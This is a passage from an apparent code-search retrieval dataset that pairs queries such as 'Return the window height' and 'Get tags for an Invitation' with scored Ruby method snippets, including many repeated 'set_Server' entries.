set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" } ]
a7ea55daef83c6f2dc3e9a40e0474da1
Return the window height
[ { "docid": "21a002a6cb8a1c3dcdadbf847f656383", "score": "0.79874855", "text": "def window_height\n base_height = (wb = current_window_builder)[5] + wb[-1]\n base_height + default_line_height * line_number\n end", "title": "" } ]
[ { "docid": "40cc3c72d6aea8800123b9bd8985e729", "score": "0.86611307", "text": "def window_height\n end", "title": "" }, { "docid": "c1c4a7101db9d2605e078d254176619c", "score": "0.8348001", "text": "def window_height\n fitting_height(11)\n end", "title": "" }, { "docid": "c1c4a7101db9d2605e078d254176619c", "score": "0.8348001", "text": "def window_height\n fitting_height(11)\n end", "title": "" }, { "docid": "c1c4a7101db9d2605e078d254176619c", "score": "0.8348001", "text": "def window_height\n fitting_height(11)\n end", "title": "" }, { "docid": "d96b517074544050b527920b15713c73", "score": "0.80487156", "text": "def window_height\n Graphics.height - under_help - @keys_window.height\n end", "title": "" }, { "docid": "b6f5adac08bf490dc2b1c4d6891570b5", "score": "0.80416787", "text": "def window_height\n return ACTOR_WINDOW_HEIGHT\n end", "title": "" }, { "docid": "1e4a03417422ee8c3cb587198a5ae1ea", "score": "0.80296326", "text": "def height\n return @window_height # outer height\nend", "title": "" }, { "docid": "9610db4a7c79621a763313979f7ae375", "score": "0.7808403", "text": "def get_ScreenHeight\n System::get_property('screen_height')\n end", "title": "" }, { "docid": "3fb3631b9fb2948e80b337aa8868ca32", "score": "0.77424836", "text": "def visible_height\n @win.maxy - 2\n end", "title": "" }, { "docid": "f09ca0bec8f77e611ceb296b53ab193a", "score": "0.7682744", "text": "def screen_height(height)\n ((height.to_f / @scene_height) * $window.height).to_i\n end", "title": "" }, { "docid": "e8057710f248f4b7eb1612ca9f577be9", "score": "0.76258564", "text": "def game_height\n screen_size = NSScreen.mainScreen.frame.size\n\t\tif (screen_size.width / screen_size.height) > GAME_ASPECT\n\t\t\tscreen_size.height = screen_size.width / GAME_ASPECT\n end\n\t\tscreen_size.height\n end", "title": "" }, { "docid": "d75d9e427a5e3d3654c1a939e0c647d0", "score": "0.746904", "text": "def browser_height\n @browser_height\n end", "title": "" }, { "docid": "74e0be1b323c2bc4ad4042101a6c6559", "score": "0.7260794", "text": "def max_height\n FFI::NCurses.getmaxy FFI::NCurses.stdscr\n end", "title": "" }, { "docid": "a0c237d75e66b28e360c9aa6a25a8cc4", "score": "0.71980333", "text": "def height\n @dimensions.y\n end", "title": "" }, { "docid": "d3033e218d96f951bdc788a145bb1f1e", "score": "0.7186491", "text": "def GetPageHeight()\n\t\treturn @h;\n\tend", "title": "" }, { "docid": "ae5aad20433c0c36eb2bbfdfff61492f", "score": "0.7002523", "text": "def height\n bounds[:bottom] - bounds[:top]\n end", "title": "" }, { "docid": "ae5aad20433c0c36eb2bbfdfff61492f", "score": "0.7002523", "text": "def height\n bounds[:bottom] - bounds[:top]\n end", "title": "" }, { "docid": "ea620ff676c831f1fc17af8e0dd54176", "score": "0.6961525", "text": "def height\n dimensions()[:y]\n end", "title": "" }, { "docid": "3f97f7736a36b0b2ca890ee7a0e27620", "score": "0.6935577", "text": "def get_window_size\n Ncurses.refresh\n cols, rows = [], []\n Ncurses.stdscr.getmaxyx rows, cols\n [rows.first, cols.first]\n end", "title": "" }, { "docid": "db17570da6703a8d363b3a9cea865ade", "score": "0.69157946", "text": "def canvas_height\n cur_page.canvas_height\n end", "title": "" }, { "docid": "716daf65a26c9fdfa7bd137d52c540f2", "score": "0.68968457", "text": "def height\n `#{clientRect}.height`\n end", "title": "" }, { "docid": "47e5cb6a8a68dcca5ec354863feff976", "score": "0.6852923", "text": "def vh\n return (viewport == nil ? self.bitmap.height : viewport.rect.height)\n end", "title": "" }, { "docid": "a50ca9aa4cfad8588ac53ce837b1e650", "score": "0.6848485", "text": "def height\n return nil unless @height\n if @height < 0\n return ((FFI::NCurses.LINES + @height) - self.row) + 1\n #return (FFI::NCurses.LINES + @height) \n end\n @height\n end", "title": "" }, { "docid": "c003b3f56194772e42c67d82bb30df4b", "score": "0.67959523", "text": "def height\n top + bottom\n end", "title": "" }, { "docid": "2f43374b6edfee32acbc22fe85c60831", "score": "0.6795114", "text": "def get_height\n return get_keyword_value(\"FLOOR-HEIGHT\").to_f\n end", "title": "" }, { "docid": "eb78311ee8dff061d05616c35e6d1aa9", "score": "0.67780393", "text": "def scroll_height\n self.scroll_size[:y]\n end", "title": "" }, { "docid": "edaf7a44a10666c41a922ac66257da3e", "score": "0.6761566", "text": "def window_size\n manage.window.size\n end", "title": "" }, { "docid": "edaf7a44a10666c41a922ac66257da3e", "score": "0.6761566", "text": "def window_size\n manage.window.size\n end", "title": "" }, { "docid": "edaf7a44a10666c41a922ac66257da3e", "score": "0.6761566", "text": "def window_size\n manage.window.size\n end", "title": "" }, { "docid": "c3711f9fa5dedeb02817f5b77ff64215", "score": "0.67567307", "text": "def height\n return height_helper(@root)\n end", "title": "" }, { "docid": "2b40288b6ecb3ab85433bd09ca8a66dc", "score": "0.67548436", "text": "def page_height\n cur_page.page_height\n end", "title": "" }, { "docid": "adf7229583721156124277aa3e6781d2", "score": "0.67532617", "text": "def browser_height=(height)\n height = @browser.screen_height if height == FULL_SCREEN_SIZE\n @browser.window.resize_to(@browser.window.size.width, height.to_i)\n end", "title": "" }, { "docid": "70482fdd8933e5c3056f515a00141951", "score": "0.6744896", "text": "def height\n Terminal.height\n end", "title": "" }, { "docid": "41825dced479b43374c9a90d588220a3", "score": "0.66978276", "text": "def height\n dimensions.last\n end", "title": "" }, { "docid": "de30717e28afae2165266b084845486d", "score": "0.66905195", "text": "def body_height\n if orientation == PORTRAIT\n @paper.height - (@top_margin + @bottom_margin)\n else\n @paper.width - (@top_margin + @bottom_margin)\n end\n end", "title": "" }, { "docid": "c9bddf830d0f9af78218ccdc461460ad", "score": "0.6689467", "text": "def height\n get_geometry if @height.nil?\n return @height\n end", "title": "" }, { "docid": "8c51699807125dfec70a38f8270b90cb", "score": "0.66829824", "text": "def display_height\n (display_width.to_f / width.to_f) * height\n end", "title": "" }, { "docid": "8c51699807125dfec70a38f8270b90cb", "score": "0.66829824", "text": "def display_height\n (display_width.to_f / width.to_f) * height\n end", "title": "" }, { "docid": "8c51699807125dfec70a38f8270b90cb", "score": "0.66829824", "text": "def display_height\n (display_width.to_f / width.to_f) * height\n end", "title": "" }, { "docid": "be11dff9dcc35f980b1f0a53793ecb4e", "score": "0.66619027", "text": "def height\n return height_helper(@root, 0, 1)\n end", "title": "" }, { "docid": "be11dff9dcc35f980b1f0a53793ecb4e", "score": "0.66619027", "text": "def height\n return height_helper(@root, 0, 1)\n end", "title": "" }, { "docid": "847ef9f968a0128c738be83d5ff39b37", "score": "0.665951", "text": "def pixelheight\n end", "title": "" }, { "docid": "293430f40a4d26ad3cb1302082a6f021", "score": "0.6645025", "text": "def height\n return height_helper(@root, 0)\n end", "title": "" }, { "docid": "293430f40a4d26ad3cb1302082a6f021", "score": "0.6645025", "text": "def height\n return height_helper(@root, 0)\n end", "title": "" }, { "docid": "01ddb4725574628e402d0bb8b08cec6c", "score": "0.66415113", "text": "def height\n height_helper(@root, 0)\n end", "title": "" }, { "docid": "68fc7d992db3f62edc162835ae6d377e", "score": "0.6619388", "text": "def height\n return 0 if @root.nil?\n return hegiht_helper(@root)\n end", "title": "" }, { "docid": "f9cc98c8b3de558b9821060a4bd18e63", "score": "0.6612155", "text": "def height\n @screenplay.line_height * @lines.size\n end", "title": "" }, { "docid": "0ed4ddd2a370a7b891f82aac54f16253", "score": "0.6602995", "text": "def screenshot_height_for(game)\n return 0 if game.nil? || game.image_height.nil?\n return game.image_height\n end", "title": "" }, { "docid": "97b6f93bd186e445de7ae3e39fd901ac", "score": "0.6598681", "text": "def height\n return @height\n end", "title": "" }, { "docid": "7833a9ceccee5690b7ab1516307ff168", "score": "0.65970784", "text": "def pixel_height\n @sensor_height / @height_in_pixels\n end", "title": "" }, { "docid": "0ab70f132264bfdcf9972115f27ae436", "score": "0.6559967", "text": "def height\n options[:height] || Config.height\n end", "title": "" }, { "docid": "94a9f0a66a7b6dc1ae0fba01008d6d0d", "score": "0.6540968", "text": "def height\n @maps[:background].size\n end", "title": "" }, { "docid": "3b36790c468adcf05b4c47483f46c3da", "score": "0.6524944", "text": "def height\n\t\treturn @height\n\tend", "title": "" }, { "docid": "7fbadaeb58fecde398c7d18a3d3601b2", "score": "0.6521611", "text": "def height\n @height || 100\n end", "title": "" }, { "docid": "77a2413585d841be6b22e7aa0392a858", "score": "0.6493007", "text": "def size\n width_pointer = FFI::MemoryPointer.new :int, 1\n height_pointer = FFI::MemoryPointer.new :int, 1\n XDo::FFILib.xdo_get_window_size @_xdo_pointer, @_window, width_pointer,\n height_pointer\n [width_pointer.read_int, height_pointer.read_int]\n end", "title": "" }, { "docid": "3c0d71986a0144120aef1ca59bf824d7", "score": "0.6473097", "text": "def height\n (self.width.to_f * (9.to_f/16.to_f)).to_i\n end", "title": "" }, { "docid": "7e88658bddfb2dc35e3d507b3667eee0", "score": "0.64710426", "text": "def height\n image_ptr[:sy]\n end", "title": "" }, { "docid": "28bd02f6f566f47072221d813b6b8bd0", "score": "0.6460983", "text": "def terminal_height\n terminal_size.last\n end", "title": "" }, { "docid": "05431f3a18c03c8be65ab6e01508af4d", "score": "0.6426929", "text": "def height\n top - bottom\n end", "title": "" }, { "docid": "c63e66e7e5810b0b7485771446214d7c", "score": "0.6422993", "text": "def height\n line_count = layout.line_count\n h = (line_count - 1) * layout.spacing\n line_count.times do |i|\n h += layout.get_line_bounds(i).height\n end\n h\n end", "title": "" }, { "docid": "34d500488599ccced0ab99f6d276f03d", "score": "0.6420531", "text": "def full_height\n height + (margin * 2)\n end", "title": "" }, { "docid": "34d500488599ccced0ab99f6d276f03d", "score": "0.6420531", "text": "def full_height\n height + (margin * 2)\n end", "title": "" }, { "docid": "34d500488599ccced0ab99f6d276f03d", "score": "0.6420531", "text": "def full_height\n height + (margin * 2)\n end", "title": "" }, { "docid": "98913c0184a210262c72b5bc6b3812b3", "score": "0.6412934", "text": "def g_height \n Config.ground_height\n end", "title": "" }, { "docid": "c519b1e6b46d51cea20d6affe209853d", "score": "0.640977", "text": "def height\n if clear_border?\n geometry.height\n\n else\n border.height\n\n end\n end", "title": "" }, { "docid": "66937b1dcee28220a2e1d7888dc348fc", "score": "0.6407284", "text": "def height\n return 0 if @root.nil?\n return height_helper(@root, 0, 1)\n end", "title": "" }, { "docid": "a051e24879078d53f99736543b116e28", "score": "0.63960195", "text": "def height\n return 0 if @root == nil\n\n current = @root\n\n return height_helper(current, 1, 1)\n end", "title": "" }, { "docid": "d45d62332888e91b16aa06102ef9c5e9", "score": "0.63691777", "text": "def terminal_height; end", "title": "" }, { "docid": "d45d62332888e91b16aa06102ef9c5e9", "score": "0.63691777", "text": "def terminal_height; end", "title": "" }, { "docid": "c363646c31370bcd242720e0359edaaa", "score": "0.6366469", "text": "def viewport_size(viewport)\n return viewport.rect.height\n end", "title": "" }, { "docid": "f1f869780b028a3b305acbf6d5ba26bb", "score": "0.6366017", "text": "def remote_window_size; end", "title": "" }, { "docid": "57e6fcc05a283eee6fbcced7a2360e2d", "score": "0.6354631", "text": "def height\n @ole.Height\n end", "title": "" }, { "docid": "57e6fcc05a283eee6fbcced7a2360e2d", "score": "0.6354631", "text": "def height\n @ole.Height\n end", "title": "" }, { "docid": "796f02456586c062f30fac6b85df7b65", "score": "0.6333023", "text": "def height(_data_length, _item_size, viewport)\n return viewport.rect.height\n end", "title": "" }, { "docid": "57f993c3d0447fd5ec9124e1966f747b", "score": "0.6331853", "text": "def height\n rows\n end", "title": "" }, { "docid": "6378393dd3312b7b3bca6032d9d441be", "score": "0.632792", "text": "def browserHeight=(value)\n\t\t\t@browserHeight = value\n\t\tend", "title": "" }, { "docid": "8f2a7e6fdf7ca6225d43d01cf99914ee", "score": "0.6318208", "text": "def get_top_bar_height(id)\n (`xwininfo -id #{id}`).scan(/Relative.*Y:\\s*(\\d*)/)[0][0].to_i\nend", "title": "" }, { "docid": "78b0824b945b751b482c1115db8334d1", "score": "0.6307994", "text": "def fullheight\n return self.bitmap.height.to_f * self.zoom_y\n end", "title": "" }, { "docid": "16dbe132f963dc566b8544c5371d2f5b", "score": "0.6297088", "text": "def height\r\n return (@y2-@y1).abs\r\n end", "title": "" }, { "docid": "be40cb9073141c4e5a54a791bec76411", "score": "0.6295687", "text": "def height\n memoized_info[:height]\n end", "title": "" }, { "docid": "dace88d58197d66396430c9b33a980a6", "score": "0.6283606", "text": "def height \n @height || text_area_height + 2*@vertical_padding\n end", "title": "" }, { "docid": "e91e16b18c5c47df8ea01ccfe22d0cac", "score": "0.6280017", "text": "def height\n current_node = @root\n\n return height_helper(current_node)\n end", "title": "" }, { "docid": "add3cb5654c31b4d576b8a6feb1ec066", "score": "0.6255377", "text": "def height\n defined?(@ht) ? @ht : nil\n end", "title": "" }, { "docid": "5582e45c7b84177a5b273d808fafb1ef", "score": "0.6247892", "text": "def height; end", "title": "" }, { "docid": "5582e45c7b84177a5b273d808fafb1ef", "score": "0.6247892", "text": "def height; end", "title": "" }, { "docid": "b6beb2ed7cf217a6c88ee82ff165b034", "score": "0.6223485", "text": "def height\n assert_exists\n driver.execute_script \"return arguments[0].height\", @element\n end", "title": "" }, { "docid": "5ce454b32bad6d410321958a9ab9d9ef", "score": "0.6222633", "text": "def max_body_height\n self.height - self.margin_top_actual - self.margin_bottom\n end", "title": "" }, { "docid": "c83949fb5b9984e3d3d8fe754f5aede5", "score": "0.62189126", "text": "def height\n @y1 - @y0\n end", "title": "" }, { "docid": "b0999e58bddd3b4c9ef4b4defc93b658", "score": "0.6214098", "text": "def screen_y(y)\n $window.height - ((y.to_f / @scene_height) * $window.height).to_i\n end", "title": "" }, { "docid": "8f79ef9c4b783080a3a2cfc105a5d99a", "score": "0.6210109", "text": "def height\n # raise NotImplementedError\n # return 0 if @root.nil?\n return height_helper(@root, 0, 1)\n end", "title": "" }, { "docid": "7b60cbd49816515f8fd756e39939227d", "score": "0.6207142", "text": "def get_win_decorator_height(id)\n (`xwininfo -id #{id}`).scan(/^.*Y:\\s*(\\d*)/).flatten.map{|n| n.to_i}.reduce(:-)\nend", "title": "" }, { "docid": "50d2ba75a5c243447d61b99ef6a6059d", "score": "0.6204712", "text": "def height\n @root and @root.height or 0\n end", "title": "" }, { "docid": "c178f9ffb70257f3c78ae82528ea05f5", "score": "0.61911476", "text": "def local_window_size; end", "title": "" }, { "docid": "a76ecc9ba3d6529eaece6361450964d7", "score": "0.6186309", "text": "def retrieve_height(param)\n unless (height = param[:height])\n height = self::DEFAULT_HEIGHT if param[:list_direction] == :vertical\n height ||= param[:list_height]\n height ||= self::DEFAULT_HEIGHT\n end\n return height\n end", "title": "" }, { "docid": "570a94e5571af332d9da3d7f5c46682d", "score": "0.61792725", "text": "def height\r\n assert_exists\r\n return @o.invoke(\"height\").to_s\r\n end", "title": "" }, { "docid": "c9b047915c965d83c76c351f9d5a34f7", "score": "0.61783034", "text": "def height\n barcode.two_dimensional? ? (ydim * encoding.length) : (@height || 100)\n end", "title": "" }, { "docid": "c9b047915c965d83c76c351f9d5a34f7", "score": "0.61783034", "text": "def height\n barcode.two_dimensional? ? (ydim * encoding.length) : (@height || 100)\n end", "title": "" }, { "docid": "46e95eca5ebaf00fa6d806530d268e0a", "score": "0.6177088", "text": "def window_width\n Graphics.width / 2\n end", "title": "" }, { "docid": "dbeae1ace1dc09d63d51870591a17dc1", "score": "0.6174594", "text": "def height\n attr('height')\n end", "title": "" }, { "docid": "eb4dc9e57cd171f3947ee932bea0fc72", "score": "0.61721617", "text": "def window_width\n return WINDOW_WIDTH\n end", "title": "" } ]
4576bc6c5cc902ff9aa6b4ded1b55417
Get tags for an Invitation Returns the tags for the invitation.
[ { "docid": "6b48a66a1fc8d971d94a631bec111d0a", "score": "0.7682688", "text": "def get_invitation_tags(invitation_id, opts = {})\n data, _status_code, _headers = get_invitation_tags_with_http_info(invitation_id, opts)\n data\n end", "title": "" } ]
[ { "docid": "f2ac8b5a801e43faa9daec49ed3faeb3", "score": "0.6618631", "text": "def get_invitation_tags_with_http_info(invitation_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: InvitationsApi.get_invitation_tags ...'\n end\n # verify the required parameter 'invitation_id' is set\n if invitation_id.nil?\n fail ArgumentError, \"Missing the required parameter 'invitation_id' when calling InvitationsApi.get_invitation_tags\"\n end\n # resource path\n local_var_path = '/invitations/{invitationId}/tags'.sub('{' + 'invitationId' + '}', invitation_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['APP_NORMAL', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TagListSchema')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: InvitationsApi#get_invitation_tags\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "633d8cfeffe557ffd4e01217cc04c0b6", "score": "0.6041374", "text": "def tags_for(_member)\n tags\n end", "title": "" }, { "docid": "bdd7d25fd592f7d3f8c842a3860a3c34", "score": "0.59885037", "text": "def tags\n response[\"tags\"]\n end", "title": "" }, { "docid": "fc5544aef57779f1058f38d8538d040a", "score": "0.5978269", "text": "def invitations\n res = []\n\n tmp = GoodData.get @json['project']['links']['invitations']\n tmp['invitations'].each do |invitation|\n res << GoodData::Invitation.new(invitation)\n end\n\n res\n end", "title": "" }, { "docid": "ea0bd0924eeadf4a14f3d0e306728915", "score": "0.59526306", "text": "def getTags\r\n\t\t\t\t\treturn @tags\r\n\t\t\t\tend", "title": "" }, { "docid": "36bdb481d6be054bd773cd960d3c2a46", "score": "0.5916184", "text": "def tags\n return @tags\n end", "title": "" }, { "docid": "36bdb481d6be054bd773cd960d3c2a46", "score": "0.5916184", "text": "def tags\n return @tags\n end", "title": "" }, { "docid": "36bdb481d6be054bd773cd960d3c2a46", "score": "0.5916184", "text": "def tags\n return @tags\n end", "title": "" }, { "docid": "54b0e3e58e0d57ed08fc7983ed467c96", "score": "0.5877827", "text": "def getInvited\n rsvpInvited = []\n Invitation.where(\"study_session_id = '#{self.id}' AND status = 'invited'\").each do |invitation|\n rsvpInvited.push(User.where(\"id = '#{invitation.user_id}'\").first)\n end\n return rsvpInvited\n end", "title": "" }, { "docid": "88fe4b721167789784f423517395e340", "score": "0.58751655", "text": "def tags\n @tags ||= begin\n resp = @client.access_token.get('/reader/api/0/tag/list?output=json')\n raise \"unable to retrieve the list of tags for user \\\"#{user_id}\\\": #{resp.inspect}\" unless resp.code_type == Net::HTTPOK\n JSON.parse(resp.body)['tags'].collect do |hash|\n Google::Reader::Tag.new(hash.merge({:client => @client}))\n end\n end\n end", "title": "" }, { "docid": "884217149ed2726eb1ccc9790ea8e475", "score": "0.5866942", "text": "def tags()\n\t\t\treturn @metadata.attributes[:tags].to_a\n\t\tend", "title": "" }, { "docid": "bb2680d4cffefb72db00af09bbe3ddd7", "score": "0.58539134", "text": "def tags\n\t\tresponse = self.server.run_with_json_template( :tags )\n\t\treturn response.flatten.map {|tag| Hglib::Repo::Tag.new(self, **tag) }\n\tend", "title": "" }, { "docid": "c5b0e5641b9358dd4127df728fcda38a", "score": "0.583939", "text": "def tags(includeHidden=true, includeArchived=true)\n\t\t\n\t\t#Get all the activities ids for the classroom and put them into an array\n\t\tactivities = Activity.activities_with_pairings(self.id, nil, nil, includeHidden, includeArchived)\n\t \tactivity_id_array = Array.new\n\t \tactivities.each do |a| activity_id_array.push(a[\"id\"].to_i) end\n\n\t\t#get all the tag id's from the pairings\n\t\ttag_id_array = ActivityTagPairing.where({activity_id: activity_id_array}).pluck(:activity_tag_id)\n\n\t\t#query for the activity tags corresponding to the tag id's, and put them into a hash to make them unique\n\t\tactivity_tags = ActivityTag.where(id: tag_id_array).order(\"name ASC\").distinct\n\n\t\treturn activity_tags\n\t\t\n\tend", "title": "" }, { "docid": "118540c2eaab1a1475b83fcdb3d30f44", "score": "0.5759902", "text": "def tags\n get.tagGuids\n end", "title": "" }, { "docid": "c99a20d3309e2444d41ed7ae67298b91", "score": "0.5677363", "text": "def tags()\n return MicrosoftGraph::Me::JoinedTeams::Item::Tags::TagsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "f8a278cecd49865129819aeafb6f7e99", "score": "0.5673174", "text": "def tags(include_private=false)\n Tag.find_all_by_user(self, include_private)\n end", "title": "" }, { "docid": "75cb1c77647fa36685b5d0adaba5e69c", "score": "0.56621605", "text": "def tags(options={})\n do_query(nil, @agent.identity, options) do |result|\n if result.kind_of?(Hash)\n yield(result.size == 1 ? result.values.first['tags'] : [])\n else\n yield result\n end\n end\n end", "title": "" }, { "docid": "843f711071f7e093dd52da1fa130c4a2", "score": "0.5658571", "text": "def tags\n @tags ||= get(\"/repos/show/#{owner.login}/#{name}/tags\")['tags']\n end", "title": "" }, { "docid": "4d1e2cbdc95c5051def718b610bff677", "score": "0.5645239", "text": "def tags\n data[:tags]\n end", "title": "" }, { "docid": "4d1e2cbdc95c5051def718b610bff677", "score": "0.5645239", "text": "def tags\n data[:tags]\n end", "title": "" }, { "docid": "4d1e2cbdc95c5051def718b610bff677", "score": "0.5645239", "text": "def tags\n data[:tags]\n end", "title": "" }, { "docid": "4d1e2cbdc95c5051def718b610bff677", "score": "0.5645239", "text": "def tags\n data[:tags]\n end", "title": "" }, { "docid": "4d1e2cbdc95c5051def718b610bff677", "score": "0.5645239", "text": "def tags\n data[:tags]\n end", "title": "" }, { "docid": "27a9e748e12ae40d9280bf00c215fb6a", "score": "0.5589407", "text": "def tags\n attributes[:tags] || []\n end", "title": "" }, { "docid": "5d6c6fadd247e0159e73c0716a378c4f", "score": "0.55873376", "text": "def get_tags\n get_state.map do |get_state_payload|\n get_state_payload.dig(:data, :identity_state, :tags)\n end\n end", "title": "" }, { "docid": "1af01d5ee01e33e368bfd869deed7fdc", "score": "0.5570353", "text": "def tags(include_private=false)\n Tag.find_all_by_user(self, include_private)\n end", "title": "" }, { "docid": "d84cb1aee38b0869a77237329bbb688a", "score": "0.55632615", "text": "def tags\n @obj['tags']\n end", "title": "" }, { "docid": "ff35c8662e0c93df52ceb5802ddba387", "score": "0.5545064", "text": "def get_tags(opts = {})\n data, _status_code, _headers = get_tags_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "b94bec86842598f1c75b06d3f2a301b7", "score": "0.5542707", "text": "def invitations\n\t\t@invits = current_user.receive_invites.order(\"id DESC\")\n\tend", "title": "" }, { "docid": "a181cd10eb9c88f56e7e8dadd5978e93", "score": "0.5533924", "text": "def tags\r\n return @tags if @tags\r\n\r\n if @options.has_key? :only\r\n @tags = convert_methods(@options[:only])\r\n elsif @options.has_key? :except\r\n @tags = @@tag_titles.keys - convert_methods(@options[:except])\r\n else\r\n @tags = @@tag_titles.keys\r\n end\r\n\r\n @tags\r\n end", "title": "" }, { "docid": "30cc7ae0cbd4ae0c9b4e670867f382d3", "score": "0.5530397", "text": "def tags\n @tags ||= tag_class.in_challenge(collection).group(:id)\n end", "title": "" }, { "docid": "a7aeb76e6ebaae71a098c581d2ea37d0", "score": "0.55268437", "text": "def tags\n object.tags.map {|tag| tag.id}\n end", "title": "" }, { "docid": "ac07d724b201e363a8e0f1e8ad7b0d40", "score": "0.55246735", "text": "def get_inbox_tags(opts = {})\n data, _status_code, _headers = get_inbox_tags_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "aa16fdbf3033132579ced2adea12568c", "score": "0.55231494", "text": "def get_user_invitations(filter: {}, includes: nil, limit: nil, sort: nil)\n params = users_request_client.build_params(filter: filter, includes: includes, limit: limit, sort: sort)\n users_request_client.get(\"userInvitations\", params)\n end", "title": "" }, { "docid": "c744c91ed84292cd680c9718608c0b7e", "score": "0.55125463", "text": "def get_tags\n [['pxb', 'PXB'], ['ind', 'Individuals'], ['bus', 'Businesses'], ['grp', 'Peer Groups']]\n end", "title": "" }, { "docid": "12fb8e0c5129c14a13dc7dc0fe132273", "score": "0.5511156", "text": "def tags\n @note.tagNames\n end", "title": "" }, { "docid": "c5d4cb5e42f3910671b32cb20351e8ff", "score": "0.5508798", "text": "def tags(included_deleted = false, audit = 'NONE', options = {})\n params = {}\n # Non-standard, required, parameter\n params[:accountId] = account_id\n params[:includedDeleted] = included_deleted if included_deleted\n params[:audit] = audit\n self.class.get \"#{KILLBILL_API_INVOICE_ITEMS_PREFIX}/#{invoice_item_id}/tags\",\n params,\n options,\n Tag\n end", "title": "" }, { "docid": "a183fabf8f26ffe86300e1a5d7efa674", "score": "0.55009973", "text": "def get_tags(limit = @query_limit_default)\n params = {\n list: 'tags',\n tglimit: get_limited(limit)\n }\n\n query_ary(params, 'tags', 'name')\n end", "title": "" }, { "docid": "d2d4ab0f956594ffc7279d5b49a5381c", "score": "0.5434788", "text": "def tags\n object.tags.each do |tag|\n tag.name\n end\n end", "title": "" }, { "docid": "0e64180c963cedd77ef159315ee71cc7", "score": "0.54317", "text": "def tags\n @values.keys.map { |key| @tag_names[key] }\n end", "title": "" }, { "docid": "9d177f96bf2a2dd934c13b30278ded70", "score": "0.54311943", "text": "def tags\n get('tags')\n end", "title": "" }, { "docid": "82dbfd26073f525fb37a869f5bed1f37", "score": "0.543106", "text": "def user_tags\n return @user_tags\n end", "title": "" }, { "docid": "5766e7d195a671c5f85190f40403efa5", "score": "0.5417569", "text": "def tags\n @data['tags']\n end", "title": "" }, { "docid": "dec2c81feec2ac73c861944003f0c40a", "score": "0.5394891", "text": "def tags(params = {})\n @tags ||= MailchimpAPI::Tag.find(:all, params: { member_id: id }.deep_merge(prefix_options).deep_merge(params))\n end", "title": "" }, { "docid": "b735344ba82ea6ed6d60e5f641d020f7", "score": "0.5391805", "text": "def tags\n @subnet.tags\n end", "title": "" }, { "docid": "ae15978f3a5e0451ccca244e347443c2", "score": "0.537218", "text": "def invitations()\n return MicrosoftGraph::Invitations::InvitationsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "9101b91b21d0387a78f7a1a0c2b69c7f", "score": "0.53614694", "text": "def invited_institutions\n invitation_codes.collect(&:institution).uniq.compact\n end", "title": "" }, { "docid": "75add40e629f0b002582337b26576628", "score": "0.53590316", "text": "def tags\n return @tags_cache if (@tags_cache ||= nil)\n \n global_tags, tag_types = {}, {}\n \n f = nil\n # For each current .hgtags file in our history (including multi-heads), read in\n # the tags\n hg_tags_nodes.each do |rev, node, file_node|\n # get the file\n f = (f && f.file(file_node.file_node)) || self.versioned_file(\".hgtags\", :file_id => file_node.file_node)\n # read the tags, as global, because they're versioned.\n read_tags(f.data.split(\"\\n\"), f, \"global\", global_tags, tag_types)\n end\n \n # Now do locally 